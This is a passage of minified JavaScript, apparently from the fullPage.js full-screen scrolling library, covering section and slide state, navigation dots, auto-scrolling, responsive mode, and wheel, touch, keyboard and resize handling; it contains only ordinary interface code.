0!==t.q||mt(v(zn,n)),w(v(zn,n),St(a)),lt("interlockedSlides")||clearTimeout(Ft),Ft=setTimeout((function(){e&&$t(t)}),Qn().scrollingSpeed)}else c.test.left[t.sectionIndex]=Math.round(r.left),xt(n,Math.round(r.left),Qn().scrollingSpeed,(function(){e&&$t(t)}))}function Kt(n,t){return n==t?"none":n>t?"left":"right"}function qt(){clearTimeout(Ft)}function $t(n){ut("continuousHorizontal","afterSlideLoads",n),n.localIsResizing||(ut("parallax","afterSlideLoads"),ut("scrollOverflowReset","setPrevious",n.prevSlide),ut("scrollOverflowReset","reset"),Y(Qn().afterSlideLoad)&&kt("afterSlideLoad",n),an({canScroll:!0}),Dt(n.destiny)),an({A:!1}),ut("interlockedSlides","interlockedSlides",n)}function ne(n,t){Tt(0,"internal"),void 0!==t&&an({O:!0}),_t(L(n,Dn),n),void 0!==t&&an({O:!1}),Tt(_n().scrollingSpeed,"internal")}Vt.m={up:!0,down:!0,left:!0,right:!0},Vt.k=p({},Vt.m),on.l("onClickOrTouch",(function(n){var t=n.target;(X(t,In)||L(t,In))&&Xt.call(t,n)})),c.landscapeScroll=_t,on.l("bindEvents",(function(){on.l("onPerformMovement",Qt)}));var te=null,ee=null;function oe(){rn.g=null,rn.h.map((function(n){var t=h(n.item,mn);n.isActive=t,n.V=h(n.item,Rn),t&&(rn.g=n),n.slides.length&&(n.activeSlide=null,n.slides.map((function(t){var e=h(t.item,mn);t.V=h(t.item,Rn),t.isActive=e,e&&(n.activeSlide=t)})))})),function(){var n=rn.g,t=!!rn.g&&rn.g.slides.length,e=rn.g?rn.g.activeSlide:null;if(!n&&rn.h.length&&!ln().M)if(lt("responsiveSlides")&&ut("responsiveSlides","areSlidesSections"))an({g:rn.U.filter((function(n){return n.item===v(yn)}))[0]});else{if(te){var o=ae(te,rn.h);o&&(rn.g=o,rn.g.isActive=!0,O(rn.g.item,mn)),rn.g&&Mt(rn.g.item.offsetTop)}if(t&&!e&&ee){var i=ae(ee,rn.g.slides);i&&(rn.g.activeSlide=i,rn.g.activeSlide.isActive=!0,O(rn.g.activeSlide.item,mn)),rn.g.activeSlide&&ne(rn.g.activeSlide.item,"internal")}}}(),G(Un(),"onUpdateStateDone")}function ie(){var n=v(Qn().sectionSelector,Un()),t=d(n),e=Array.from(n).map((function(n){return new le(n)})),o=e.filter((function(n){return n.isVisible})),i=o.reduce((function(n,t){return n.concat(t.slides)}),[]);te=re(rn.g),ee=re(rn.g?rn.g.activeSlide:null),rn.v=t.length,rn.p=o.reduce((function(n,t){return n+t.slides.length}),0),rn.h=o,rn.G=e,rn.slides=i,rn.U=rn.h.concat(rn.slides)}function re(n){if(!n)return null;var t=n?n.item:null,e=n.Y?rn.G:rn.g.nn;if(t){var o=tt(e,t);return o?o.index():null}return null}function ae(n,t){var e,o=n-1,i=n;do{if(e=t[o]||t[i])break;o-=1,i+=1}while(o>=0||i<t.length);return e}var le=function(n){var t=this;[].push.call(arguments,Qn().sectionSelector),$n.apply(this,arguments),this.tn=v(Qn().slideSelector,n),this.nn=Array.from(this.tn).map((function(n){return new ue(n,t)})),this.slides=this.nn.filter((function(n){return n.isVisible})),this.activeSlide=this.slides.length?this.slides.filter((function(n){return n.isActive}))[0]||this.slides[0]:null};le.prototype=$n.prototype,le.prototype.constructor=le;var ue=function(n,t){this.parent=t,$n.call(this,n,Qn().slideSelector)};function ce(){O(v(Qn().sectionSelector,Un()),Sn),O(v(Qn().slideSelector,Un()),xn)}function se(){G(b(this),"click")}function fe(){_(v(An));var n=r.createElement("div");n.setAttribute("id","fp-nav");var t=r.createElement("ul");n.appendChild(t),k(n,Rt);var e=v(An)[0];O(e,"fp-"+Qn().navigationPosition),Qn().showActiveTooltip&&O(e,"fp-show-active");for(var o="",i=0;i<ln().h.length;i++){var a=ln().h[i],l="";Qn().anchors.length&&(l=a.anchor),o+='<li><a href="#'+encodeURI(l)+'"><span class="fp-sr-only">'+Bt(a.index(),"Section")+"</span><span></span></a>";var u=Qn().navigationTooltips[a.index()];void 0!==u&&""!==u&&(o+='<div class="fp-tooltip fp-'+Qn().navigationPosition+'">'+u+"</div>"),o+="</li>"}v("ul",e)[0].innerHTML=o;var c=v("li",v(An)[0])[ln().g.index()];O(v("a",c),mn)}function de(n){n.preventDefault&&I(n),an({S:"verticalNav"});var t=y(L(this,"#fp-nav li"));on.u("scrollPage",{destination:ln().h[t]})}function ve(n,t){Jn("recordHistory",n,t)}function pe(n,t){n||Mt(0),Jn("autoScrolling",n,t);var e=ln().g.item;if(Qn().autoScrolling&&!Qn().scrollBar)w(Pt,{overflow:"hidden",height:"100%"}),E(Rt,"fp-scrollable"),ve(_n().recordHistory,"internal"),w(Un(),{"-ms-touch-action":"none","touch-action":"none"}),null!=e&&Mt(e.offsetTop);else if(w(Pt,{overflow:"visible",height:"initial"}),O(Rt,"fp-scrollable"),ve(!!Qn().autoScrolling&&_n().recordHistory,"internal"),w(Un(),{"-ms-touch-action":"","touch-action":""}),bt(Un()),null!=e){w(Pt,{"scroll-behavior":"unset"});var o=ht(e.offsetTop);o.element.scrollTo(0,o.options)}G(Un(),"setAutoScrolling",n)}ue.prototype=$n.prototype,ue.prototype.constructor=le,c.setRecordHistory=ve,c.setAutoScrolling=pe,c.test.setAutoScrolling=pe,c.setFitToSection=me,c.fitToSection=function(){};var he,ge="scrollSnapAlign"in(he=r.documentElement.style)||"en"in he||"on"in he;function me(n,t){we(n),Jn("fitToSection",n,t)}function we(n){ge&&(Qn().fitToSection&&(!Qn().autoScrolling||Qn().scrollBar)&&n?O:E)(Nt,"fp-snaps")}function be(){var n=Qn().responsive||Qn().responsiveWidth,t=Qn().responsiveHeight,e=n&&i.innerWidth<n,o=t&&i.innerHeight<t;n&&t?Se(e||o):n?Se(e):t&&Se(o)}function Se(n){var t=ye();n?t||(pe(!1,"internal"),me(!1,"internal"),T(v(An)),O(Rt,vn),Y(Qn().afterResponsive)&&Qn().afterResponsive.call(Un(),n),ut("responsiveSlides","toSections"),G(Un(),"afterResponsive",n)):t&&(pe(_n().autoScrolling,"internal"),me(_n().autoScrolling,"internal"),A(v(An)),E(Rt,vn),Y(Qn().afterResponsive)&&Qn().afterResponsive.call(Un(),n),ut("responsiveSlides","toSlides"),G(Un(),"afterResponsive",n))}function ye(){return h(Rt,vn)}c.setResponsive=Se,on.l("bindEvents",(function(){i.addEventListener("load",(function(){Qn().scrollOverflow&&!Qn().scrollBar&&(Te.rn(),Te.an())})),Qn().scrollOverflow&&nt(ln().U).forEach((function(n){n.addEventListener("scroll",Te.ln),n.addEventListener("wheel",Te.un),n.addEventListener("keydown",Te.un),n.addEventListener("keydown",Te.cn)}))}));var Me,Te={sn:null,dn:null,vn:null,un:function(n){if(!rn.canScroll)return I(n),!1},an:function(){r.activeElement===this.sn&&this.sn.blur(),v(Nn,ln().g.item)[0]&&(this.sn=v(Nn,ln().g.item)[0],this.sn.focus())},rn:function(){Qn().scrollOverflowMacStyle&&!l&&O(Rt,"fp-scroll-mac"),ln().U.forEach((function(n){if(!(h(n.item,"fp-noscroll")||h(n.item,Tn)||h(n.item,"fp-auto-height-responsive")&&ye())){var t=Te.pn(n.item),e=Te.hn(n.item);e?(O(t,Rn),t.setAttribute("tabindex","-1")):(E(t,Rn),t.removeAttribute("tabindex")),n.V=e}}))},pn:function(n){return v(En,n)[0]||n},gn:function(n){return n.Y&&n.activeSlide?n.activeSlide.V:n.V},hn:function(n){return n.scrollHeight>i.innerHeight},mn:function(n,t){if(!rn.canScroll)return!1;if(!Qn().scrollOverflow)return!0;var e=Te.pn(t),o=e.scrollTop,i="up"===n&&o<=0,r="down"===n&&e.scrollHeight<=e.offsetHeight+o,a=i||r;return a||(this.dn=(new Date).getTime()),a},wn:function(){this.vn=(new Date).getTime();var n=this.vn-Te.dn,t=a||u;return t&&rn.C&&n>400||!t&&n>600},ln:(Me=0,function(n){var t=n.target.scrollTop,e="none"!==rn.N?rn.N:Me<t?"down":"up";Me=t,Y(Qn().onScrollOverflow)&&kt("onScrollOverflow",{position:t}),h(n.target,Rn)&&rn.canScroll&&Te.mn(e,n.target)&&Te.wn()&&on.u("onScrollOverflowScrolled",{direction:e})})};function Ae(n){Qn().verticalCentered&&(Te.gn(n)||h(n.item,Ln)||O(n.item,Ln))}function xe(n){var t=n.slides.length,e=n.tn,o=n.slides,i=100*t,a=100/t;if(!v(Dn,n.item)[0]){var l=r.createElement("div");l.className=kn,j(e,l);var u=r.createElement("div");u.className=jn,j(e,u)}w(v(zn,n.item),{width:i+"%"}),t>1&&(Qn().controlArrows&&function(n){var t=n.item,e=[Q(Qn().controlArrowsHTML[0]),Q(Qn().controlArrowsHTML[1])];R(v(Dn,t)[0],e),O(e,Hn),O(e[0],Wn),O(e[1],"fp-next"),"#fff"!==Qn().controlArrowColor&&(w(v(Zn,t),{"border-color":"transparent transparent transparent "+Qn().controlArrowColor}),w(v(Bn,t),{"border-color":"transparent "+Qn().controlArrowColor+" transparent transparent"})),Qn().loopHorizontal||T(v(Bn,t))}(n),Qn().slidesNavigation&&function(n){var t=n.item,e=n.slides.length;k(Q('<div class="fp-slidesNav"><ul></ul></div>'),t);var o=v(Pn,t)[0];O(o,"fp-"+Qn().slidesNavPosition);for(var i=0;i<e;i++)k(Q('<li><a href="#"><span class="fp-sr-only">'+encodeURI(Bt(i,"Slide",v(On,t)[i]))+"</span><span></span></a></li>"),v("ul",o)[0]);w(o,{"margin-left":"-"+o.innerWidth/2+"px"});var r=n.activeSlide?n.activeSlide.index():0;O(v("a",v("li",o)[r]),mn)}(n)),o.forEach((function(n){w(n.item,{width:a+"%"}),Qn().verticalCentered&&Ae(n)}));var c=lt("responsiveSlides")?null:n.activeSlide||null;null!=c&&rn.g&&(0!==rn.g.index()||0===rn.g.index()&&0!==c.index())?(ne(c.item,"internal"),O(c.item,"fp-initial")):O(e[0],mn)}var Oe,Ee=null;function ke(n){var t=n.item,e=n.tn.length,o=n.index();!ln().g&&n.isVisible&&(O(t,mn),oe()),Ee=ln().g.item,lt("offsetSections")&&w(t,{height:ft(t)+"px"}),Qn().paddingTop&&w(t,{"padding-top":Qn().paddingTop}),Qn().paddingBottom&&w(t,{"padding-bottom":Qn().paddingBottom}),void 0!==Qn().sectionsColor[o]&&w(t,{"background-color":Qn().sectionsColor[o]}),void 0!==Qn().anchors[o]&&t.setAttribute("data-anchor",n.anchor),e||Ae(n)}c.getActiveSection=function(){return ln().g};var De={attributes:!1,subtree:!0,childList:!0,characterData:!0};function je(){return d(v(Qn().slideSelector,Un())).length!==ln().p}function ze(n){var t=je();(je()||d(v(Qn().sectionSelector,Un())).length!==ln().v)&&!rn.B&&(Qn().observer&&Oe&&Oe.disconnect(),ie(),oe(),Qn().anchors=[],_(v(An)),ce(),Kn(),Qn().navigation&&fe(),t&&(_(v(Pn)),_(v(In))),ln().h.forEach((function(n){n.slides.length?t&&xe(n):ke(n)}))),Qn().observer&&Oe&&Oe.observe(v(dn)[0],De)}on.l("bindEvents",(function(){var n,t,e;Qn().observer&&"MutationObserver"in window&&(n=v(dn)[0],t=De,(e=new MutationObserver(ze)).observe(n,t),Oe=e),on.l("contentChanged",ze)})),c.bn=ze;var Le=function(){var n=!1;try{var t=Object.defineProperty({},"passive",{get:function(){n=!0}});Z("testPassive",null,t),V("testPassive",null,t)}catch(n){}return function(){return n}}();function Re(){return!!Le()&&{passive:!1}}(new Date).getTime();var Ne,Pe,Ce,He,Ie,We,Be=(Pe=(new Date).getTime(),function(n,t){var e=(new Date).getTime(),o="wheel"===n?Qn().scrollingSpeed:100;return e-Pe>=o&&(Ne=t(),Pe=e),void 0===Ne||Ne}),Ze=(Ie=(new Date).getTime(),We=[],{Sn:function(n){var t=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,e=Math.max(-1,Math.min(1,t)),o=void 0!==n.wheelDeltaX||void 0!==n.deltaX;Ce=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!o;var r=(new Date).getTime();He=e<0?"down":"up",We.length>149&&We.shift(),We.push(Math.abs(t));var a=r-Ie;Ie=r,a>200&&(We=[])},yn:function(){var n=nn(We,10)>=nn(We,70);return!!We.length&&n&&Ce},Mn:function(){return He}});function Fe(){var n=Qn().css3?C(Qn())+g():$(ln().h).item.offsetTop+$(ln().h).item.offsetHeight,t=ht(n);c.test.top=-n+"px",w(r.body,{"scroll-snap-type":"none"}),w(Pt,{"scroll-behavior":"unset"}),an({canScroll:!1}),xt(t.element,t.options,Qn().scrollingSpeed,(function(){setTimeout((function(){an({M:!0}),an({canScroll:!0})}),30)}))}function Ve(){Un().getBoundingClientRect().bottom>=0&&Ye()}function Ye(){var n=ht($(ln().h).item.offsetTop);an({canScroll:!1}),xt(n.element,n.options,Qn().scrollingSpeed,(function(){an({canScroll:!0}),an({M:!1}),an({Tn:!1})}))}var Ge,Xe,Ue,Qe,_e,Je=(Ge=!1,Xe={},Ue={},function(n,t,e){switch(n){case"set":Xe[t]=(new Date).getTime(),Ue[t]=e;break;case"isNewKeyframe":var o=(new Date).getTime();Ge=o-Xe[t]>Ue[t]}return Ge});function Ke(){for(var n=v(En),t=0;t<n.length;t++)ne(n[t],"internal")}function qe(){var n=v(".fp-auto-height")[0]||ye()&&v(".fp-auto-height-responsive")[0];Qn().lazyLoading&&n&&v(".fp-section:not(.active)").forEach((function(n){var t,e,o,i,r;e=(t=n.getBoundingClientRect()).top,o=t.bottom,i=e+2<rn.W&&e>0,r=o>2&&o<rn.W,(i||r)&&Lt(n)}))}function $e(n,t){var e;e=n,Qn().menu&&Qn().menu.length&&v(Qn().menu).forEach((function(n){null!=n&&(E(v(wn,n),mn),O(v('[data-menuanchor="'+e+'"]',n),mn))})),function(n,t){var e=v(An)[0];Qn().navigation&&null!=e&&"none"!==e.style.display&&(E(v(wn,e),mn),O(n?v('a[href="#'+n+'"]',e):v("a",v("li",e)[t]),mn))}(n,t)}function no(n,t){if(Y(Qn().beforeLeave))return Be(ln().S,(function(){return kt(n,t)}))}function to(n,t,e){var o=n.item;if(null!=o){var i,r,a={element:o,callback:t,isMovementUp:e,dtop:eo(o),yMovement:wt(ln().g,o),anchorLink:n.anchor,sectionIndex:n.index(),activeSlide:n.activeSlide?n.activeSlide.item:null,leavingSection:ln().g.index()+1,localIsResizing:rn.O,items:{origin:ln().g,destination:n},direction:null};if(!(ln().g.item==o&&!rn.O||Qn().scrollBar&&C(Qn())===a.dtop&&!h(o,Tn))){if(null!=a.activeSlide&&(i=W(a.activeSlide,"data-anchor"),r=y(a.activeSlide,null)),!a.localIsResizing){var l=a.yMovement;if(void 0!==e&&(l=e?"up":"down"),a.direction=l,at("dropEffect")&&c.dropEffect.onLeave_(a),at("waterEffect")&&c.An.onLeave_(a),Y(Qn().beforeLeave)&&!1===no("beforeLeave",a))return;if(Y(Qn().onLeave)&&!kt("onLeave",a))return}ut("parallax","apply",a),ut("cards","apply",a),ut("dropEffect","apply",a),ut("waterEffect","apply",a),Qn().autoScrolling&&Qn().continuousVertical&&void 0!==a.isMovementUp&&(!a.isMovementUp&&"up"==a.yMovement||a.isMovementUp&&"down"==a.yMovement)&&(a=function(n){an({B:!0});var t=ln().g.item;return n.isMovementUp?N(t,K(t,yn)):R(t,q(t,yn).reverse()),Mt(ln().g.item.offsetTop),Ke(),n.xn=t,n.dtop=n.element.offsetTop,n.yMovement=wt(ln().g,n.element),n.leavingSection=n.items.origin.index()+1,n.sectionIndex=n.items.destination.index(),G(Un(),"onContinuousVertical",n),n}(a)),ut("scrollOverflowReset","setPrevious",a.g),a.localIsResizing||zt(ln().g.item),lt("dropEffect")&&Qn().dropEffect||(O(o,mn),E(H(o),mn)),oe(),Lt(o),an({canScroll:c.test.On}),It(r,i,a.anchorLink),function(n){var t=Qn().scrollingSpeed<700,e=t?700:Qn().scrollingSpeed;if(an({N:"none",scrollY:Math.round(n.dtop)}),on.u("onPerformMovement"),Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)yt("translate3d(0px, -"+Math.round(n.dtop)+"px, 0px)",!0),lt("waterEffect")&&Ke(),Qn().scrollingSpeed?(clearTimeout(Qe),Qe=setTimeout((function(){oo(n),an({canScroll:!t||c.test.On})}),Qn().scrollingSpeed)):oo(n);else{var o=ht(n.dtop);c.test.top=-n.dtop+"px",w(Pt,{"scroll-behavior":"unset"}),clearTimeout(Qe),xt(o.element,o.options,Qn().scrollingSpeed,(function(){Qn().scrollBar?Qe=setTimeout((function(){oo(n)}),30):(oo(n),an({canScroll:!t||c.test.On}))}))}t&&(clearTimeout(_e),_e=setTimeout((function(){an({canScroll:!0})}),e))}(a),an({j:a.anchorLink}),$e(a.anchorLink,function(n){return null!=n.xn?n.isMovementUp?rn.v-1:0:n.sectionIndex}(a))}}}function eo(n){var t=n.offsetHeight,e=n.offsetTop,o=e,i=lt("dragAndMove")&&ut("dragAndMove","isGrabbing")?ut("dragAndMove","isScrollingDown"):e>rn.I,r=o-g()+t,a=Qn().bigSectionsDestination;return t>g()?(i||a)&&"bottom"!==a||(o=r):(i||rn.O&&null==S(n))&&(o=r),lt("offsetSections")&&(o=c.offsetSections.getSectionPosition_(i,o,n)),an({I:o}),o}function oo(n){Qn().fitToSection&&w(r.body,{"scroll-snap-type":"y mandatory"}),an({M:!1}),function(n){null!=n.xn&&(n.isMovementUp?N(v(yn)[0],n.xn):R(v(yn)[ln().h.length-1],n.xn),Mt(ln().g.item.offsetTop),function(){for(var n=v(En),t=0;t<n.length;t++)ne(n[t],"internal")}(),n.sectionIndex=n.items.destination.index(),n.leavingSection=n.items.origin.index()+1,an({B:!1}))}(n),Y(Qn().afterLoad)&&!n.localIsResizing&&kt("afterLoad",n),ut("parallax","afterLoad"),ut("waterEffect","afterLoad"),ut("dropEffect","afterLoad"),ut("scrollOverflowReset","reset"),ut("resetSliders","apply",n),oe(),n.localIsResizing||Dt(n.element),O(n.element,bn),E(H(n.element),bn),qe(),Te.an(),an({canScroll:!0}),Y(n.callback)&&n.callback()}function io(){var n=ln().g.next();n||!Qn().loopBottom&&!Qn().continuousVertical||(n=ln().h[0]),null!=n?to(n,null,!1):Un().scrollHeight<Rt.scrollHeight&&on.u("scrollBeyondFullpage")}function ro(){var n=ln().g.prev();n||!Qn().loopTop&&!Qn().continuousVertical||(n=$(ln().h)),null!=n&&to(n,null,!0)}c.moveTo=moveTo,c.getScrollY=function(){return rn.scrollY},on.l("onDestroy",(function(){clearTimeout(Qe),clearTimeout(_e)})),c.moveSectionDown=io,c.moveSectionUp=ro;var ao=0;function lo(n){Qn().autoScrolling&&(rn.canScroll&&(n.pageY<ao&&Gt().m.up?ro():n.pageY>ao&&Gt().m.down&&io()),ao=n.pageY)}function uo(n){if(Gt().m[n]){var t="down"===n?io:ro;lt("scrollHorizontally")&&(t=ut("scrollHorizontally","getScrollSection",{type:n,scrollSection:t})),Qn().scrollOverflow&&Te.gn(ln().g)?Te.mn(n,ln().g.item)&&Te.wn()&&t():t()}}var co,so,fo=0,vo=0,po=0,ho=0,go=To(),mo={En:"ontouchmove"in window?"touchmove":go.move,kn:"ontouchstart"in window?"touchstart":go.down};function wo(n){var t=L(n.target,yn)||ln().g.item,e=Te.gn(ln().g),o=Math.abs(fo-po)>i.innerHeight/100*Qn().touchSensitivity,r=Math.abs(vo-ho)>m()/100*Qn().touchSensitivity,a=v(Dn,t).length&&Math.abs(vo-ho)>Math.abs(fo-po),l=fo>po?"down":"up",u=a?vo>ho?"right":"left":l;if(bo(n)){an({C:!0}),Qn().autoScrolling&&(!e||e&&!rn.canScroll)&&I(n);var c=Mo(n);po=c.y,ho=c.x,an({N:u}),a?!rn.A&&r&&(vo>ho?Gt().m.right&&on.u("moveSlideRight",{section:t}):Gt().m.left&&on.u("moveSlideLeft",{section:t})):Qn().autoScrolling&&rn.canScroll&&o&&uo(l)}}function bo(n){return void 0===n.pointerType||"mouse"!=n.pointerType}function So(n){if(Qn().fitToSection&&an({R:!1}),bo(n)){var t=Mo(n);fo=t.y,vo=t.x}Z("touchend",yo)}function yo(){V("touchend",yo),an({C:!1})}function Mo(n){var t={};return t.y=void 0!==n.pageY&&(n.pageY||n.pageX)?n.pageY:n.touches[0].pageY,t.x=void 0!==n.pageX&&(n.pageY||n.pageX)?n.pageX:n.touches[0].pageX,u&&bo(n)&&Qn().scrollBar&&void 0!==n.touches&&(t.y=n.touches[0].pageY,t.x=n.touches[0].pageX),t}function To(){var n;return i.PointerEvent&&(n={down:"pointerdown",move:"pointermove"}),n}function Ao(n){Qn().autoScrolling&&bo(n)&&Gt().m.up&&(rn.canScroll||I(n))}function xo(n,t){var e=null==t?ln().g.item:t,o=tt(rn.h,e),i=v(Dn,e)[0];if(!(null==i||ct()||rn.A||o.slides.length<2)){var r=o.activeSlide,a="left"===n?r.prev():r.next();if(!a){if(!Qn().loopHorizontal)return;a="left"===n?$(o.slides):o.slides[0]}an({A:!c.test.On}),_t(i,a.item,n)}}function Oo(n){xo("left",n)}function Eo(n){xo("right",n)}function ko(n){if(lt("responsiveSlides")&&ut("responsiveSlides","areSlidesSections"))return tt(rn.h,ut("responsiveSlides","getSectionByAnchor",n));var t=ln().h.filter((function(t){return t.anchor===n}))[0];if(!t){var e=void 0!==n?n-1:0;t=ln().h[e]}return t}function Do(n){null!=n&&_t(L(n,Dn),n)}function jo(n,t){var e=ko(n);if(null!=e){var o=function(n,t){var e=t.slides.filter((function(t){return t.anchor===n}))[0];return null==e&&(n=void 0!==n?n:0,e=t.slides[n]),e?e.item:null}(t,e);e.anchor===rn.j||h(e.item,mn)?Do(o):to(e,(function(){Do(o)}))}}function zo(n,t){var e=ko(n);void 0!==t?jo(n,t):null!=e&&to(e)}function Lo(){clearTimeout(so),F("keydown",Ro),F("keyup",No)}function Ro(n){clearTimeout(so);var t=r.activeElement,e=n.keyCode,o=[37,39].indexOf(e)>-1,i=Qn().autoScrolling||o;9===e?function(n){var t=n.shiftKey,e=r.activeElement,o=Co(pt(ln().g.item));function i(n){return I(n),o[0]?o[0].focus():null}(function(n){var t=Co(r),e=t.indexOf(r.activeElement),o=t[n.shiftKey?e-1:e+1],i=L(o,On),a=L(o,yn);return!i&&!a})(n)||(e?null==L(e,".fp-section.active,.fp-section.active .fp-slide.active")&&(e=i(n)):i(n),(!t&&e==o[o.length-1]||t&&e==o[0])&&I(n))}(n):X(t,"textarea")||X(t,"input")||X(t,"select")||"true"===W(t,"contentEditable")||""===W(t,"contentEditable")||!Qn().keyboardScrolling||!i||(co=n.ctrlKey,so=setTimeout((function(){!function(n){var t=n.shiftKey,e=r.activeElement,o=X(e,"video")||X(e,"audio"),i=Te.mn("up",ln().g.item),a=Te.mn("down",ln().g.item),l=[37,39].indexOf(n.keyCode)>-1;if(Ho(n),rn.canScroll||l)switch(an({S:"keydown"}),n.keyCode){case 38:case 33:Gt().k.up&&i&&(rn.M?on.u("onKeyDown",{e:n}):ro());break;case 32:if(t&&Gt().k.up&&!o&&i){ro();break}case 40:case 34:if(Gt().k.down&&a){if(rn.M)return;32===n.keyCode&&o||io()}break;case 36:Gt().k.up&&zo(1);break;case 35:Gt().k.down&&zo(ln().h.length);break;case 37:Gt().k.left&&Oo();break;case 39:Gt().k.right&&Eo()}}(n)}),0))}function No(n){rn.H&&(co=n.ctrlKey)}function Po(){an({H:!1}),co=!1}function Co(n){return[].slice.call(v('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, [tabindex="0"], [contenteditable]',n)).filter((function(n){return"-1"!==W(n,"tabindex")&&null!==n.offsetParent}))}function Ho(n){(function(n){return[40,38,32,33,34].indexOf(n.keyCode)>-1&&!rn.M})(n)&&!L(n.target,Nn)&&n.preventDefault()}c.moveSlideLeft=Oo,c.moveSlideRight=Eo,c.moveTo=zo,on.l("bindEvents",(function(){Z("blur",Po),B("keydown",Ro),Rt.addEventListener("keydown",Ho),B("keyup",No),on.l("onDestroy",Lo)}));var Io=(new Date).getTime(),Wo=[];function Bo(n){n?(function(){var n,t="";i.addEventListener?n="addEventListener":(n="attachEvent",t="on");var e="onwheel"in r.createElement("div")?"wheel":void 0!==r.onmousewheel?"mousewheel":"DOMMouseScroll",o=Re();"DOMMouseScroll"==e?r[n](t+"MozMousePixelScroll",Zo,o):r[n](t+e,Zo,o)}(),Un().addEventListener("mousedown",Fo),Un().addEventListener("mouseup",Vo)):(r.addEventListener?(F("mousewheel",Zo,!1),F("wheel",Zo,!1),F("MozMousePixelScroll",Zo,!1)):r.detachEvent("onmousewheel",Zo),Un().removeEventListener("mousedown",Fo),Un().removeEventListener("mouseup",Vo))}function Zo(n){var t=(new Date).getTime(),e=h(v(".fp-completely")[0],"fp-normal-scroll"),o=function(n,t){(new Date).getTime();var e=ln().M&&n.getBoundingClientRect().bottom>=0&&"up"===Ze.Mn(),o=ln().Tn;if(o)return I(t),!1;if(ln().M){if(e){var i;if(!(o||Je("isNewKeyframe","beyondFullpage")&&Ze.yn()))return(i=ht($(ln().h).item.offsetTop+$(ln().h).item.offsetHeight)).element.scrollTo(0,i.options),an({Tn:!1}),I(t),!1;if(Ze.yn())return e=!1,an({Tn:!0}),an({S:"wheel"}),Ye(),I(t),!1}else Je("set","beyondFullpage",1e3);if(!o&&!e)return!0}}(Un(),n);if(!Gt().m.down&&!Gt().m.up)return I(n),!1;if(o)return!0;if(!1===o)return I(n),!1;if(Qn().autoScrolling&&!co&&!e){var r=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,a=Math.max(-1,Math.min(1,r)),l=void 0!==n.wheelDeltaX||void 0!==n.deltaX,u=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!l,c=a<0?"down":a>0?"up":"none";Wo.length>149&&Wo.shift(),Wo.push(Math.abs(r)),Qn().scrollBar&&I(n);var s=t-Io;return Io=t,s>200&&(Wo=[]),an({P:c}),rn.canScroll&&!ct()&&nn(Wo,10)>=nn(Wo,70)&&u&&(an({S:"wheel"}),uo(a<0?"down":"up")),!1}Qn().fitToSection&&an({R:!1})}function Fo(n){var t;2==n.which&&(t=n.pageY,ao=t,Un().addEventListener("mousemove",lo))}function Vo(n){2==n.which&&Un().removeEventListener("mousemove",lo)}function Yo(n){n?(Bo(!0),function(){if((a||u)&&(!lt("dragAndMove")||"mouseonly"===Qn().dragAndMove)){Qn().autoScrolling&&(Rt.removeEventListener(mo.En,Ao,{passive:!1}),Rt.addEventListener(mo.En,Ao,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(mo.kn,So),n.removeEventListener(mo.En,wo,{passive:!1}),n.addEventListener(mo.kn,So),n.addEventListener(mo.En,wo,{passive:!1})}}()):(Bo(!1),function(){if(a||u){Qn().autoScrolling&&(Rt.removeEventListener(mo.En,wo,{passive:!1}),Rt.removeEventListener(mo.En,Ao,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(mo.kn,So),n.removeEventListener(mo.En,wo,{passive:!1})}}())}c.setMouseWheelScrolling=Bo;var Go=!0;function Xo(){["mouseenter","touchstart","mouseleave","touchend"].forEach((function(n){F(n,Qo,!0)}))}function Uo(n,t){document["fp_"+n]=t,B(n,Qo,!0)}function Qo(n){var t=n.type,e=!1,o="mouseleave"===t?n.toElement||n.relatedTarget:n.target;o!=document&&o?("touchend"===t&&(Go=!1,setTimeout((function(){Go=!0}),800)),("mouseenter"!==t||Go)&&(Qn().normalScrollElements.split(",").forEach((function(n){if(!e){var t=X(o,n),i=L(o,n);(t||i)&&(c.shared.Dn||Yo(!1),c.shared.Dn=!0,e=!0)}})),!e&&c.shared.Dn&&(Yo(!0),c.shared.Dn=!1))):Yo(!0)}function _o(n,t){Tt(0,"internal"),zo(n,t),Tt(_n().scrollingSpeed,"internal")}on.l("bindEvents",(function(){Qn().normalScrollElements&&(["mouseenter","touchstart"].forEach((function(n){Uo(n,!1)})),["mouseleave","touchend"].forEach((function(n){Uo(n,!0)}))),on.l("onDestroy",Xo)})),c.silentMoveTo=_o;var Jo,Ko=g(),qo=m(),$o=!1;function ni(){clearTimeout(Jo),V("resize",ti)}function ti(){$o||(Qn().autoScrolling&&!Qn().scrollBar||!Qn().fitToSection)&&oi(g()),$o=!0,clearTimeout(Jo),Jo=setTimeout((function(){!function(){if(an({O:!0}),oi(""),G(Un(),"onResize"),!Qn().fitToSection||Qn().autoScrolling||rn.M||function(){if(!Qn().autoScrolling||Qn().scrollBar){var n=.01*i.innerHeight;r.documentElement.style.setProperty("--vh","".concat(n,"px"))}}(),on.u("contentChanged"),oe(),be(),a){var n=r.activeElement;if(!X(n,"textarea")&&!X(n,"input")&&!X(n,"select")){var t=g();Math.abs(t-Ko)>20*Math.max(Ko,t)/100&&(ei(!0),Ko=t)}}else e=g(),o=m(),rn.W===e&&qo===o||(an({W:e}),qo=o,ei(!0));var e,o;G(Un(),"onResizeEnds"),an({O:!1})}(),$o=!1}),400)}function ei(n){if(!h(Un(),hn)){an({O:!0,W:g(),jn:m()});for(var t=ln().h,e=0;e<t.length;++e){var o=t[e],r=v(Dn,o.item)[0],a=o.slides;lt("offsetSections")&&w(o,{height:ft(o.item)+"px"}),a.length>1&&_t(r,o.activeSlide.item)}Qn().scrollOverflow&&Te.rn();var l=ut("responsiveSlides","getActiveIndex")||ln().g.index();rn.M||!l||lt("fadingEffect")||lt("dropEffect")||lt("waterEffect")||_o(l+1),an({O:!1}),Y(Qn().afterResize)&&n&&Qn().afterResize.call(Un(),i.innerWidth,i.innerHeight),Y(Qn().afterReBuild)&&!n&&Qn().afterReBuild.call(Un()),G(Un(),"afterRebuild")}}function oi(n){var 